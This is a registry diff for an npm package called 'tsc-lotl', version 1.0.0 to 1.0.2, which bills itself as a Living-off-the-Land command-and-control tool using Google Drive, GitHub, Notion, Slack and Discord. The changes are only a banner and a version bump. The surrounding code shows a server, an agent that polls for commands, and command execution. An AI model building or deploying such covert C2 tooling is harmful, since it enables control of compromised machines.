tsc-lotl 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/bin/tsc-lotl.js +15 -2
  2. package/package.json +1 -1
package/bin/tsc-lotl.js CHANGED
@@ -8,9 +8,19 @@ const LotlC2 = require('../src/lotl-c2');
8
8
  const argv = minimist(process.argv.slice(2));
9
9
  const cmd = argv._[0];
10
10
 
11
+ function showBanner() {
12
+ console.log('');
13
+ console.log(' ╔═══════════════════════════════════════════════════════════════╗');
14
+ console.log(' ║ T S C - L O T L ║');
15
+ console.log(' ║ Living-off-the-Land C2 v1.0.2 ║');
16
+ console.log(' ║ GDrive · GitHub · Notion · Slack · Discord ║');
17
+ console.log(' ╚═══════════════════════════════════════════════════════════════╝');
18
+ console.log('');
19
+ }
20
+
11
21
  function showHelp() {
12
- console.log(`
13
- tsc-lotl — Living-off-the-Land C2 Tool v1.0.0
22
+ showBanner();
23
+ console.log(`tsc-lotl — Living-off-the-Land C2 Tool v1.0.2
14
24
 
15
25
  Usage:
16
26
  tsc-lotl server --config <path> Start C2 server listening on all channels
@@ -76,6 +86,7 @@ async function listChannels(configPath) {
76
86
  }
77
87
 
78
88
  async function runServer(configPath) {
89
+ showBanner();
79
90
  const c2 = new LotlC2(configPath);
80
91
  console.log('[tsc-lotl] C2 Server started');
81
92
  console.log(`[tsc-lotl] Channels: ${c2.channelPriority.filter(ch => c2.channels[ch]).join(', ')}`);
@@ -109,6 +120,7 @@ async function runServer(configPath) {
109
120
  }
110
121
 
111
122
  async function runAgent(configPath, agentId) {
123
+ showBanner();
112
124
  const c2 = new LotlC2(configPath);
113
125
  console.log(`[tsc-lotl] Agent "${agentId}" started`);
114
126
  console.log('[tsc-lotl] Polling all channels for commands...');
@@ -159,6 +171,7 @@ function executeCommand(cmd) {
159
171
  }
160
172
 
161
173
  async function sendCommand(configPath, channel, agentId, command) {
174
+ showBanner();
162
175
  const c2 = new LotlC2(configPath);
163
176
  try {
164
177
  const result = await c2.sendCommand(channel, agentId, command);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "tsc-lotl",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "Living-off-the-Land C2 — Google Drive, GitHub Gists, Notion, Slack",
5
5
  "main": "src/lotl-c2.js",
6
6
  "bin": {